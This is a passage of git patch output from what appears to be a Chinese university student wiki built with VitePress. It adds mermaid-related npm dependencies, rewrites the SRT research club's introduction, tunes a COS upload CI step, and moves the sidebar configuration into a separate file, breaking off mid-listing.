"https://registry.npmmirror.com/micromark-factory-label/-/micromark-factory-label-1.1.0.tgz", + "integrity": "sha512-OLtyez4vZo/1NjxGhcpDSbHQ+m0IIGnT8BoPamh+7jVlzLJBH98zzuCoUeMxvM6WsNeh8wx8cKvqLiPHEACn0w==", + "dev": true, + "requires": { + "micromark-util-character": "^1.0.0", + "micromark-util-symbol": "^1.0.0", + "micromark-util-types": "^1.0.0", + "uvu": "^0.5.0" + } + }, + "micromark-factory-space": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/micromark-factory-space/-/micromark-factory-space-1.1.0.tgz", + "integrity": "sha512-cRzEj7c0OL4Mw2v6nwzttyOZe8XY/Z8G0rzmWQZTBi/jjwyw/U4uqKtUORXQrR5bAZZnbTI/feRV/R7hc4jQYQ==", + "dev": true, + "requires": { + "micromark-util-character": "^1.0.0", + "micromark-util-types": "^1.0.0" + } + }, + "micromark-factory-title": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/micromark-factory-title/-/micromark-factory-title-1.1.0.tgz", + "integrity": "sha512-J7n9R3vMmgjDOCY8NPw55jiyaQnH5kBdV2/UXCtZIpnHH3P6nHUKaH7XXEYuWwx/xUJcawa8plLBEjMPU24HzQ==", + "dev": true, + "requires": { + "micromark-factory-space": "^1.0.0", + "micromark-util-character": "^1.0.0", + "micromark-util-symbol": "^1.0.0", + "micromark-util-types": "^1.0.0" + } + }, + "micromark-factory-whitespace": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/micromark-factory-whitespace/-/micromark-factory-whitespace-1.1.0.tgz", + "integrity": "sha512-v2WlmiymVSp5oMg+1Q0N1Lxmt6pMhIHD457whWM7/GUlEks1hI9xj5w3zbc4uuMKXGisksZk8DzP2UyGbGqNsQ==", + "dev": true, + "requires": { + "micromark-factory-space": "^1.0.0", + "micromark-util-character": "^1.0.0", + "micromark-util-symbol": "^1.0.0", + "micromark-util-types": "^1.0.0" + } + }, + "micromark-util-character": { + "version": "1.2.0", + "resolved": "https://registry.npmmirror.com/micromark-util-character/-/micromark-util-character-1.2.0.tgz", + "integrity": "sha512-lXraTwcX3yH/vMDaFWCQJP1uIszLVebzUa3ZHdrgxr7KEU/9mL4mVgCpGbyhvNLNlauROiNUq7WN5u7ndbY6xg==", + "dev": true, + "requires": { + "micromark-util-symbol": "^1.0.0", + "micromark-util-types": "^1.0.0" + } + }, + "micromark-util-chunked": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/micromark-util-chunked/-/micromark-util-chunked-1.1.0.tgz", + "integrity": "sha512-Ye01HXpkZPNcV6FiyoW2fGZDUw4Yc7vT0E9Sad83+bEDiCJ1uXu0S3mr8WLpsz3HaG3x2q0HM6CTuPdcZcluFQ==", + "dev": true, + "requires": { + "micromark-util-symbol": "^1.0.0" + } + }, + "micromark-util-classify-character": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/micromark-util-classify-character/-/micromark-util-classify-character-1.1.0.tgz", + "integrity": "sha512-SL0wLxtKSnklKSUplok1WQFoGhUdWYKggKUiqhX+Swala+BtptGCu5iPRc+xvzJ4PXE/hwM3FNXsfEVgoZsWbw==", + "dev": true, + "requires": { + "micromark-util-character": "^1.0.0", + "micromark-util-symbol": "^1.0.0", + "micromark-util-types": "^1.0.0" + } + }, + "micromark-util-combine-extensions": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/micromark-util-combine-extensions/-/micromark-util-combine-extensions-1.1.0.tgz", + "integrity": "sha512-Q20sp4mfNf9yEqDL50WwuWZHUrCO4fEyeDCnMGmG5Pr0Cz15Uo7KBs6jq+dq0EgX4DPwwrh9m0X+zPV1ypFvUA==", + "dev": true, + "requires": { + "micromark-util-chunked": "^1.0.0", + "micromark-util-types": "^1.0.0" + } + }, + "micromark-util-decode-numeric-character-reference": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/micromark-util-decode-numeric-character-reference/-/micromark-util-decode-numeric-character-reference-1.1.0.tgz", + "integrity": "sha512-m9V0ExGv0jB1OT21mrWcuf4QhP46pH1KkfWy9ZEezqHKAxkj4mPCy3nIH1rkbdMlChLHX531eOrymlwyZIf2iw==", + "dev": true, + "requires": { + "micromark-util-symbol": "^1.0.0" + } + }, + "micromark-util-decode-string": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/micromark-util-decode-string/-/micromark-util-decode-string-1.1.0.tgz", + "integrity": "sha512-YphLGCK8gM1tG1bd54azwyrQRjCFcmgj2S2GoJDNnh4vYtnL38JS8M4gpxzOPNyHdNEpheyWXCTnnTDY3N+NVQ==", + "dev": true, + "requires": { + "decode-named-character-reference": "^1.0.0", + "micromark-util-character": "^1.0.0", + "micromark-util-decode-numeric-character-reference": "^1.0.0", + "micromark-util-symbol": "^1.0.0" + } + }, + "micromark-util-encode": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/micromark-util-encode/-/micromark-util-encode-1.1.0.tgz", + "integrity": "sha512-EuEzTWSTAj9PA5GOAs992GzNh2dGQO52UvAbtSOMvXTxv3Criqb6IOzJUBCmEqrrXSblJIJBbFFv6zPxpreiJw==", + "dev": true + }, + "micromark-util-html-tag-name": { + "version": "1.2.0", + "resolved": "https://registry.npmmirror.com/micromark-util-html-tag-name/-/micromark-util-html-tag-name-1.2.0.tgz", + "integrity": "sha512-VTQzcuQgFUD7yYztuQFKXT49KghjtETQ+Wv/zUjGSGBioZnkA4P1XXZPT1FHeJA6RwRXSF47yvJ1tsJdoxwO+Q==", + "dev": true + }, + "micromark-util-normalize-identifier": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/micromark-util-normalize-identifier/-/micromark-util-normalize-identifier-1.1.0.tgz", + "integrity": "sha512-N+w5vhqrBihhjdpM8+5Xsxy71QWqGn7HYNUvch71iV2PM7+E3uWGox1Qp90loa1ephtCxG2ftRV/Conitc6P2Q==", + "dev": true, + "requires": { + "micromark-util-symbol": "^1.0.0" + } + }, + "micromark-util-resolve-all": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/micromark-util-resolve-all/-/micromark-util-resolve-all-1.1.0.tgz", + "integrity": "sha512-b/G6BTMSg+bX+xVCshPTPyAu2tmA0E4X98NSR7eIbeC6ycCqCeE7wjfDIgzEbkzdEVJXRtOG4FbEm/uGbCRouA==", + "dev": true, + "requires": { + "micromark-util-types": "^1.0.0" + } + }, + "micromark-util-sanitize-uri": { + "version": "1.2.0", + "resolved": "https://registry.npmmirror.com/micromark-util-sanitize-uri/-/micromark-util-sanitize-uri-1.2.0.tgz", + "integrity": "sha512-QO4GXv0XZfWey4pYFndLUKEAktKkG5kZTdUNaTAkzbuJxn2tNBOr+QtxR2XpWaMhbImT2dPzyLrPXLlPhph34A==", + "dev": true, + "requires": { + "micromark-util-character": "^1.0.0", + "micromark-util-encode": "^1.0.0", + "micromark-util-symbol": "^1.0.0" + } + }, + "micromark-util-subtokenize": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/micromark-util-subtokenize/-/micromark-util-subtokenize-1.1.0.tgz", + "integrity": "sha512-kUQHyzRoxvZO2PuLzMt2P/dwVsTiivCK8icYTeR+3WgbuPqfHgPPy7nFKbeqRivBvn/3N3GBiNC+JRTMSxEC7A==", + "dev": true, + "requires": { + "micromark-util-chunked": "^1.0.0", + "micromark-util-symbol": "^1.0.0", + "micromark-util-types": "^1.0.0", + "uvu": "^0.5.0" + } + }, + "micromark-util-symbol": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/micromark-util-symbol/-/micromark-util-symbol-1.1.0.tgz", + "integrity": "sha512-uEjpEYY6KMs1g7QfJ2eX1SQEV+ZT4rUD3UcF6l57acZvLNK7PBZL+ty82Z1qhK1/yXIY4bdx04FKMgR0g4IAag==", + "dev": true + }, + "micromark-util-types": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/micromark-util-types/-/micromark-util-types-1.1.0.tgz", + "integrity": "sha512-ukRBgie8TIAcacscVHSiddHjO4k/q3pnedmzMQ4iwDcK0FtFCohKOlFbaOL/mPgfnPsL3C1ZyxJa4sbWrBl3jg==", + "dev": true + }, "mime": { "version": "2.6.0", "resolved": "https://registry.npmmirror.com/mime/-/mime-2.6.0.tgz", @@ -5107,6 +6979,18 @@ "integrity": "sha512-7NO5s6n10TIV96d4g2uDpG7ZDpIhMh0QNfGdJw/W47JswFcosz457wqz/b5sAKvl12sxINGFCn80NZHKwxQEXA==", "dev": true }, + "mri": { + "version": "1.2.0", + "resolved": "https://registry.npmmirror.com/mri/-/mri-1.2.0.tgz", + "integrity": "sha512-tzzskb3bG8LvYGFF/mDTpq3jpI6Q9wc3LEmBaghu+DdCssd1FakN7Bc0hVNmEyGq1bq3RgfkCb3cmQLpNPOroA==", + "dev": true + }, + "ms": { + "version": "2.1.2", + "resolved": "https://registry.npmmirror.com/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true + }, "nanoid": { "version": "3.3.6", "resolved": "https://registry.npmmirror.com/nanoid/-/nanoid-3.3.6.tgz", @@ -5121,6 +7005,12 @@ "whatwg-url": "^5.0.0" } }, + "non-layered-tidy-tree-layout": { + "version": "2.0.2", + "resolved": "https://registry.npmmirror.com/non-layered-tidy-tree-layout/-/non-layered-tidy-tree-layout-2.0.2.tgz", + "integrity": "sha512-gkXMxRzUH+PB0ax9dUN0yYF0S25BqeAYqhgMaLUFmpXLEk7Fcu8f4emJuOAY0V8kjDICxROIKsTAKsV/v355xw==", + "dev": true + }, "nth-check": { "version": "2.1.1", "resolved": "https://registry.npmmirror.com/nth-check/-/nth-check-2.1.1.tgz", @@ -5246,6 +7136,12 @@ "resolved": "https://registry.npmmirror.com/requires-port/-/requires-port-1.0.0.tgz", "integrity": "sha512-KigOCHcocU3XODJxsu8i/j8T9tzT4adHiecwORRQ0ZZFcp7ahwXuRU1m+yuO90C5ZUyGeGfocHDI14M3L3yDAQ==" }, + "robust-predicates": { + "version": "3.0.2", + "resolved": "https://registry.npmmirror.com/robust-predicates/-/robust-predicates-3.0.2.tgz", + "integrity": "sha512-IXgzBWvWQwE6PrDI05OvmXUIruQTcoMDzRsOd5CDvHCVLcLHMTSYvOK5Cm46kWqlV3yAbuSpBZdJ5oP5OUoStg==", + "dev": true + }, "rollup": { "version": "3.26.2", "resolved": "https://registry.npmmirror.com/rollup/-/rollup-3.26.2.tgz", @@ -5255,6 +7151,27 @@ "fsevents": "~2.3.2" } }, + "rw": { + "version": "1.3.3", + "resolved": "https://registry.npmmirror.com/rw/-/rw-1.3.3.tgz", + "integrity": "sha512-PdhdWy89SiZogBLaw42zdeqtRJ//zFd2PgQavcICDUgJT5oW10QCRKbJ6bg4r0/UY2M6BWd5tkxuGFRvCkgfHQ==", + "dev": true + }, + "sade": { + "version": "1.8.1", + "resolved": "https://registry.npmmirror.com/sade/-/sade-1.8.1.tgz", + "integrity": "sha512-xal3CZX1Xlo/k4ApwCFrHVACi9fBqJ7V+mwhBsuf/1IOKbBy098Fex+Wa/5QMubw09pSZ/u8EY8PWgevJsXp1A==", + "dev": true, + "requires": { + "mri": "^1.1.0" + } + }, + "safer-buffer": { + "version": "2.1.2", + "resolved": "https://registry.npmmirror.com/safer-buffer/-/safer-buffer-2.1.2.tgz", + "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==", + "dev": true + }, "sanitize-html": { "version": "2.7.3", "resolved": "https://registry.npmmirror.com/sanitize-html/-/sanitize-html-2.7.3.tgz", @@ -5345,6 +7262,12 @@ "resolved": "https://registry.npmmirror.com/style-mod/-/style-mod-4.0.3.tgz", "integrity": "sha512-78Jv8kYJdjbvRwwijtCevYADfsI0lGzYJe4mMFdceO8l75DFFDoqBhR1jVDicDRRaX4//g1u9wKeo+ztc2h1Rw==" }, + "stylis": { + "version": "4.3.0", + "resolved": "https://registry.npmmirror.com/stylis/-/stylis-4.3.0.tgz", + "integrity": "sha512-E87pIogpwUsUwXw7dNyU4QDjdgVMy52m+XEOPEKUn161cCzWjjhPSQhByfd1CcNvrOLnXQ6OnnZDwnJrz/Z4YQ==", + "dev": true + }, "tabbable": { "version": "6.2.0", "resolved": "https://registry.npmmirror.com/tabbable/-/tabbable-6.2.0.tgz", @@ -5357,6 +7280,12 @@ "integrity": "sha512-N3WMsuqV66lT30CrXNbEjx4GEwlow3v6rr4mCcv6prnfwhS01rkgyFdjPNBYd9br7LpXV1+Emh01fHnq2Gdgrw==", "dev": true }, + "ts-dedent": { + "version": "2.2.0", + "resolved": "https://registry.npmmirror.com/ts-dedent/-/ts-dedent-2.2.0.tgz", + "integrity": "sha512-q5W7tVM71e2xjHZTlgfTDoPF/SmqKG5hddq9SzR49CH2hayqRKJtQ4mtRlSxKaJlR/+9rEM+mnBHf7I2/BQcpQ==", + "dev": true + }, "tslib": { "version": "2.5.0", "resolved": "https://registry.npmmirror.com/tslib/-/tslib-2.5.0.tgz", @@ -5384,6 +7313,15 @@ "resolved": "https://registry.npmmirror.com/uc.micro/-/uc.micro-1.0.6.tgz", "integrity": "sha512-8Y75pvTYkLJW2hWQHXxoqRgV7qb9B+9vFEtidML+7koHUFapnVJAZ6cKs+Qjz5Aw3aZWHMC6u0wJE3At+nSGwA==" }, + "unist-util-stringify-position": { + "version": "3.0.3", + "resolved": "https://registry.npmmirror.com/unist-util-stringify-position/-/unist-util-stringify-position-3.0.3.tgz", + "integrity": "sha512-k5GzIBZ/QatR8N5X2y+drfpWG8IDBzdnVj6OInRNWm1oXrzydiaAT2OQiA8DPRRZyAKb9b6I2a6PxYklZD0gKg==", + "dev": true, + "requires": { + "@types/unist": "^2.0.0" + } + }, "uri-js": { "version": "4.4.1", "resolved": "https://registry.npmmirror.com/uri-js/-/uri-js-4.4.1.tgz", @@ -5401,6 +7339,24 @@ "requires-port": "^1.0.0" } }, + "uuid": { + "version": "9.0.0", + "resolved": "https://registry.npmmirror.com/uuid/-/uuid-9.0.0.tgz", + "integrity": "sha512-MXcSTerfPa4uqyzStbRoTgt5XIe3x5+42+q1sDuy3R5MDk66URdLMOZe5aPX/SQd+kuYAh0FdP/pO28IkQyTeg==", + "dev": true + }, + "uvu": { + "version": "0.5.6", + "resolved": "https://registry.npmmirror.com/uvu/-/uvu-0.5.6.tgz", + "integrity": "sha512-+g8ENReyr8YsOc6fv/NVJs2vFdHBnBNdfE49rshrTzDWOlUx4Gq7KOS2GD8eqhy2j+Ejq29+SbKH8yjkAqXqoA==", + "dev": true, + "requires": { + "dequal": "^2.0.0", + "diff": "^5.0.0", + "kleur": "^4.0.3", + "sade": "^1.7.3" + } + }, "valid-data-url": { "version": "3.0.1", "resolved": "https://registry.npmmirror.com/valid-data-url/-/valid-data-url-3.0.1.tgz", @@ -5671,6 +7627,15 @@ } } }, + "vitepress-plugin-mermaid": { + "version": "2.0.13", + "resolved": "https://registry.npmmirror.com/vitepress-plugin-mermaid/-/vitepress-plugin-mermaid-2.0.13.tgz", + "integrity": "sha512-2c0ywXHE7kOK88Ygla9aGgkyF2JbfqfjE36JnoljW/3hQTR9rYBmfTFM5tvs4TUjCUfedUYT4CeyNolCY9t3uw==", + "dev": true, + "requires": { + "@mermaid-js/mermaid-mindmap": "^9.3.0" + } + }, "vscode-oniguruma": { "version": "1.7.0", "resolved": "https://registry.npmmirror.com/vscode-oniguruma/-/vscode-oniguruma-1.7.0.tgz", @@ -5737,6 +7702,12 @@ } } }, + "web-worker": { + "version": "1.2.0", + "resolved": "https://registry.npmmirror.com/web-worker/-/web-worker-1.2.0.tgz", + "integrity": "sha512-PgF341avzqyx60neE9DD+XS26MMNMoUQRz9NOZwW32nPQrF6p77f1htcnjBSEV8BGMKZ16choqUG4hyI0Hx7mA==", + "dev": true + }, "webidl-conversions": { "version": "3.0.1", "resolved": "https://registry.npmmirror.com/webidl-conversions/-/webidl-conversions-3.0.1.tgz", diff --git a/package.json b/package.json index 3e3b3b7..2460ce0 100644 --- a/package.json +++ b/package.json @@ -13,8 +13,11 @@ "markdown-it": "^13.0.1" }, "devDependencies": { + "@mermaid-js/mermaid-mindmap": "^9.3.0", "cross-env": "^7.0.3", "markdown-it-mathjax3": "^4.3.2", - "vitepress": "^1.0.0-beta.5" + "mermaid": "^10.2.4", + "vitepress": "^1.0.0-beta.5", + "vitepress-plugin-mermaid": "^2.0.13" } } From d0a4cf17720fdea75fe66ef6b333c971401d0095 Mon Sep 17 00:00:00 2001 From: camera-2018 <2907618001@qq.com> Date: Fri, 14 Jul 2023 23:16:17 +0800 Subject: [PATCH 41/85] docs: srt --- 4.人工智能/SRT.md | 16 +++++++++++----- .../{1280X1280.png => Am3Iwb1ggnyUkB1b9osh.png} | Bin .../static/{newqq.png => srt2023newqqgroup.png} | Bin 3 files changed, 11 insertions(+), 5 deletions(-) rename 4.人工智能/static/{1280X1280.png => Am3Iwb1ggnyUkB1b9osh.png} (100%) rename 4.人工智能/static/{newqq.png => srt2023newqqgroup.png} (100%) diff --git a/4.人工智能/SRT.md b/4.人工智能/SRT.md index 2723eb3..e3f6dce 100644 --- a/4.人工智能/SRT.md +++ b/4.人工智能/SRT.md @@ -1,9 +1,15 @@ # SRT社团介绍 -SRT社团,全名Student Research Trainning,旨在通过真正的科研活动培养本科生的科研能力。SRT社团依托[智能信息处理处理实验室](http://iipl.net.cn/index/list_team.aspx)(IIPL),主要研究方向围绕人工智能,具体来说,包括:计算机视觉,多模态,3D视觉,Slam等领域。有充足且优质的显卡资源,工位资源,以及学长学姐,老师的指导。 -![](https://cdn.nlark.com/yuque/0/2023/jpeg/432943/1689342819938-af714fea-814f-499c-bbe3-ef0e3f105185.jpeg#averageHue=%239ba2a3&clientId=u2dadd124-e8b6-4&from=paste&id=ub10883f6&originHeight=1280&originWidth=1706&originalType=url&ratio=1&rotation=0&showTitle=false&status=done&style=none&taskId=u7ac56774-2f5d-48ae-bc1f-bd09b61670e&title=) -社团每年都在全校范围为智能信息处理实验室招收,培养本科生。本科生进入实验室后跟随导师独立或合作进行科研项目,发表论文。我们届时会在自动化以及通信学院进行宣讲招新,新生在经过1-2学期的培养后,能够具备独立科研的能力。在正式进入实验室前,可以暂时使用社团的工位,进入实验室后可以拥有独立工位以及显卡资源。社团的实验室在科技馆五楼,欢迎大家常来~ -对于每一位新生,我们将教授包括但不限于:pytorch,深度学习基础,卷积神经网络,transformer的知识和使用它们的能力。届时将会有定期随讲授内容发布的任务,完成任务,掌握相应技术且通过考核的同学在与导师交流后可以正式进入实验室。 +SRT 社团,全名 Student Research Trainning,旨在通过真正的科研活动培养本科生的科研能力。SRT 社团依托 [智能信息处理处理实验室](http://iipl.net.cn/index/list_team.aspx)(IIPL),主要研究方向围绕人工智能,具体来说,包括:计算机视觉,多模态,3D 视觉,Slam 等领域。有充足且优质的显卡资源,工位资源,以及学长学姐,老师的指导。 + +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/Am3Iwb1ggnyUkB1b9osh.png) + +社团每年都在全校范围为智能信息处理实验室招收,培养本科生。本科生进入实验室后跟随导师独立或合作进行科研项目,发表论文。我们届时会在自动化以及通信学院进行宣讲招新,新生在经过1-2学期的培养后,能够具备独立科研的能力。在正式进入实验室前,可以暂时使用社团的工位,进入实验室后可以拥有独立工位以及显卡资源。社团的实验室在科技馆五楼,欢迎大家常来 ~ + +对于每一位新生,我们将教授包括但不限于:PyTorch,深度学习基础,卷积神经网络,Transformer 的知识和使用它们的能力。届时将会有定期随讲授内容发布的任务,完成任务,掌握相应技术且通过考核的同学在与导师交流后可以正式进入实验室。 + 同时,实验室推荐社团的本科生到杭电丽水研究院实习。 + 当然,在学习人工智能模块时遇到任何问题也都可以咨询我们,我们将在能力范围内尽力给各位解答! -![](https://cdn.nlark.com/yuque/0/2023/jpeg/432943/1689342820047-de41171a-acad-4ba7-83b5-d0db4dfeb887.jpeg#averageHue=%23f0f3f2&clientId=u2dadd124-e8b6-4&from=paste&id=ue0753af9&originHeight=1344&originWidth=750&originalType=url&ratio=1&rotation=0&showTitle=false&status=done&style=none&taskId=ud72566ad-ad4c-494c-9a74-b78a1697671&title=) + +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/srt2023newqqgroup.png) diff --git a/4.人工智能/static/1280X1280.png b/4.人工智能/static/Am3Iwb1ggnyUkB1b9osh.png similarity index 100% rename from 4.人工智能/static/1280X1280.png rename to 4.人工智能/static/Am3Iwb1ggnyUkB1b9osh.png diff --git a/4.人工智能/static/newqq.png b/4.人工智能/static/srt2023newqqgroup.png similarity index 100% rename from 4.人工智能/static/newqq.png rename to 4.人工智能/static/srt2023newqqgroup.png From cfd9be954e81f3ff92b83f2dfd742daa1052339f Mon Sep 17 00:00:00 2001 From: camera-2018 <2907618001@qq.com> Date: Fri, 14 Jul 2023 23:46:46 +0800 Subject: [PATCH 42/85] fix: ci --- .github/workflows/cos.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/cos.yaml b/.github/workflows/cos.yaml index e7ed034..8b8b5bc 100644 --- a/.github/workflows/cos.yaml +++ b/.github/workflows/cos.yaml @@ -30,7 +30,7 @@ jobs: BUCKET: hdu-cs-wiki-1307923872 REGION: ap-shanghai run: | - coscmd config -a $SECRET_ID -s $SECRET_KEY -b $BUCKET -r $REGION -m 30 -p 10 + coscmd config -a $SECRET_ID -s $SECRET_KEY -b $BUCKET -r $REGION -m 10 -p 5 tccli configure set secretId $SECRET_ID tccli configure set secretKey $SECRET_KEY tccli configure set region $REGION From 77f66f0c059def60b635a523d420e1065d6277fd Mon Sep 17 00:00:00 2001 From: camera-2018 <2907618001@qq.com> Date: Sat, 15 Jul 2023 00:22:42 +0800 Subject: [PATCH 43/85] docs: code lang --- CONTRIBUTING.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 83ce65d..5ccfaeb 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -139,7 +139,7 @@ Fork 本仓库,然后在你的仓库中进行修改,修改完成后在本仓 ::: 2. 支持Mermaid流程图,格式如下 - ```text + ```txt ```mermaid graph TD; A-->B; From 26fa96c1e817c527b468ae48c95776708d01c5dc Mon Sep 17 00:00:00 2001 From: camera-2018 <2907618001@qq.com> Date: Sat, 15 Jul 2023 00:27:18 +0800 Subject: [PATCH 44/85] =?UTF-8?q?chore:=20=E5=88=86=E6=96=87=E6=A1=A3?= =?UTF-8?q?=E6=94=AF=E6=8C=81?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .vitepress/config.js | 563 +------------------------------------ .vitepress/main_sidebar.js | 554 ++++++++++++++++++++++++++++++++++++ hduhelp/notebook.md | 0 3 files changed, 564 insertions(+), 553 deletions(-) create mode 100644 .vitepress/main_sidebar.js create mode 100644 hduhelp/notebook.md diff --git a/.vitepress/config.js b/.vitepress/config.js index 566de1b..cd00ac8 100644 --- a/.vitepress/config.js +++ b/.vitepress/config.js @@ -1,7 +1,7 @@ // import { defineConfig } from 'vitepress' import { withMermaid } from "vitepress-plugin-mermaid"; import mathjax3 from 'markdown-it-mathjax3'; - +import { main_sidebar } from './main_sidebar.js'; const customElements = [ 'mjx-container', 'mjx-assistive-mml', @@ -105,558 +105,15 @@ export default withMermaid({ { text: '首页', link: '/' }, ], - sidebar: [ - { - text: '简介', - collapsed: true, - items: [ - { text: '简介', link: '/简介' }, - { text: '使用指南', link: '/使用指南' }, - ] - }, - { - text: '1.杭电生存指南(最重要模块)', - collapsed: true, - items: [ - { text: '1.1人文社科的重要性(韩健夫老师寄语)', link: '/1.杭电生存指南/1.1人文社科的重要性(韩健夫老师寄语)' }, - { text: '1.2竞赛指北', link: '/1.杭电生存指南/1.2竞赛指北' }, - { text: '1.3导师选择', link: '/1.杭电生存指南/1.3导师选择' }, - { text: '1.4小心项目陷阱', link: '/1.杭电生存指南/1.4小心项目陷阱' }, - { text: '1.5小组作业避雷指南', link: '/1.杭电生存指南/1.5小组作业避雷指南' }, - { text: '1.6正确解读GPA', link: '/1.杭电生存指南/1.6正确解读GPA' }, - { text: '1.7杭电出国自救指南', link: '/1.杭电生存指南/1.7杭电出国自救指南' }, - { text: '1.8转专业二三事', link: '/1.杭电生存指南/1.8转专业二三事' }, - { text: '1.9问题专题:好想进入实验室', link: '/1.杭电生存指南/1.9问题专题:好想进入实验室' }, - { text: '1.10如何读论文', link: '/1.杭电生存指南/1.10如何读论文' }, - { text: '1.11陷入虚无主义?进来看看吧', link: '/1.杭电生存指南/1.11陷入虚无主义?进来看看吧' }, - { text: '1.12程序员如何活久一点', link: '/1.杭电生存指南/1.12程序员如何活久一点' }, - { text: '1.13选课原则与抢课技巧', link: '/1.杭电生存指南/1.13选课原则与抢课技巧' }, - ] - }, - { - text: '2.高效学习', - collapsed: true, - items: [ - { text: '2.高效学习', link: '/2.高效学习/2.高效学习' }, - { - text: '2.1高效的前提:摆脱高中思维', - collapsed: true, - items: [ - { text: '2.1高效的前提:摆脱高中思维', link: '/2.高效学习/2.1高效的前提:摆脱高中思维' }, - { text: '2.1.1悲壮的学习方式', link: '/2.高效学习/2.1.1悲壮的学习方式' }, - { text: '2.1.2浮躁的心理状态', link: '/2.高效学习/2.1.2浮躁的心理状态' }, - { text: '2.1.3错误的提问姿态', link: '/2.高效学习/2.1.3错误的提问姿态' }, - { text: '2.1.4书籍的盲目崇拜', link: '/2.高效学习/2.1.4书籍的盲目崇拜' }, - { text: '2.1.5错误的学习配比', link: '/2.高效学习/2.1.5错误的学习配比' }, - ] - }, - { text: '2.2优雅的使用工具', link: '/2.高效学习/2.2优雅的使用工具' }, - { - text: '2.3高效的信息检索', - collapsed: true, - items: [ - { text: '2.3高效的信息检索', link: '/2.高效学习/2.3高效的信息检索' }, - { text: '2.3.1阅读文档(B百度爬)', link: '/2.高效学习/2.3.1阅读文档(B百度爬)' }, - { text: '2.3.2检索论文核心内容', link: '/2.高效学习/2.3.2检索论文核心内容' }, - { text: '2.3.3优秀的开源社区', link: '/2.高效学习/2.3.3优秀的开源社区' }, - { text: '补充:为什么不要用百度', link: '/2.高效学习/补充:为什么不要用百度' }, - ] - }, - { text: '2.4优雅的记笔记', link: '/2.高效学习/2.4优雅的记笔记' }, - { text: '2.5以理工科的方式阅读英语', link: '/2.高效学习/2.5以理工科的方式阅读英语' }, - ] - }, - { - text: '3.编程思维体系构建', - collapsed: true, - items: [ - { text: '3.编程思维体系构建', link: '/3.编程思维体系构建/3.编程思维体系构建' }, - { text: '3.0 编程入门之道', link: '/3.编程思维体系构建/3.0 编程入门之道' }, - { text: '3.1该使用哪个编辑器???', link: '/3.编程思维体系构建/3.1该使用哪个编辑器???' }, - { - text: '3.2算法杂谈', - collapsed: true, - items: [ - { text: '3.2算法杂谈', link: '/3.编程思维体系构建/3.2算法杂谈' }, - { text: '3.2.1为什么要选择ACM——谈谈我与ACM', link: '/3.编程思维体系构建/3.2.1为什么要选择ACM——谈谈我与ACM' }, - { text: '3.2.2手把手教你学算法——如何使用OJ(Online Judge)', link: '/3.编程思维体系构建/3.2.2手把手教你学算法——如何使用OJ(Online Judge)' }, - { text: '3.2.3ACM 竞赛从入门到入坟', link: '/3.编程思维体系构建/3.2.3ACM 竞赛从入门到入坟' }, - ] - }, - { text: '3.3如何选择编程语言', link: '/3.编程思维体系构建/3.3如何选择编程语言' }, - { - text: '3.4C语言', - collapsed: true, - items: [ - { text: '3.4C语言', link: '/3.编程思维体系构建/3.4C语言' }, - { text: '3.4.1FAQ:常见问题', link: '/3.编程思维体系构建/3.4.1FAQ:常见问题' }, - { text: '3.4.2用什么写 C 语言', link: '/3.编程思维体系构建/3.4.2用什么写 C 语言' }, - { text: '3.4.3解决编程问题的普适性过程', link: '/3.编程思维体系构建/3.4.3解决编程问题的普适性过程' }, - { text: '3.4.4C语言前置概念学习', link: '/3.编程思维体系构建/3.4.4C语言前置概念学习' }, - { - text: '3.4.5阶段一:编程属性', - collapsed: true, - items: [ - { text: '3.4.5阶段一:编程属性', link: '/3.编程思维体系构建/3.4.5阶段一:编程属性' }, - { text: '3.4.5.1C语言自测标准——链表', link: '/3.编程思维体系构建/3.4.5.1C语言自测标准——链表' }, - ] - }, - { - text: '3.4.6阶段二:文字冒险(cool)', - collapsed: true, - items: [ - { text: '3.4.6阶段二:文字冒险(cool)', link: '/3.编程思维体系构建/3.4.6阶段二:文字冒险(cool)' }, - { text: '3.4.6.1.开始冒险', link: '/3.编程思维体系构建/3.4.6.1.开始冒险' }, - { text: '3.4.6.2.探索未知', link: '/3.编程思维体系构建/3.4.6.2.探索未知' }, - { text: '3.4.6.3.指明地点', link: '/3.编程思维体系构建/3.4.6.3.指明地点' }, - { text: '3.4.6.4.创建对象', link: '/3.编程思维体系构建/3.4.6.4.创建对象' }, - { text: '3.4.6.5.捡起物品', link: '/3.编程思维体系构建/3.4.6.5.捡起物品' }, - { text: '3.4.6.6.绘制地图', link: '/3.编程思维体系构建/3.4.6.6.绘制地图' }, - { text: '3.4.6.7.增大距离', link: '/3.编程思维体系构建/3.4.6.7.增大距离' }, - { text: '3.4.6.8.移动方向', link: '/3.编程思维体系构建/3.4.6.8.移动方向' }, - { text: '3.4.6.9.练习:生成代码', link: '/3.编程思维体系构建/3.4.6.9.练习:生成代码' }, - { text: '3.4.6.10.增添属性', link: '/3.编程思维体系构建/3.4.6.10.增添属性' }, - { text: '3.4.6.11.设置条件', link: 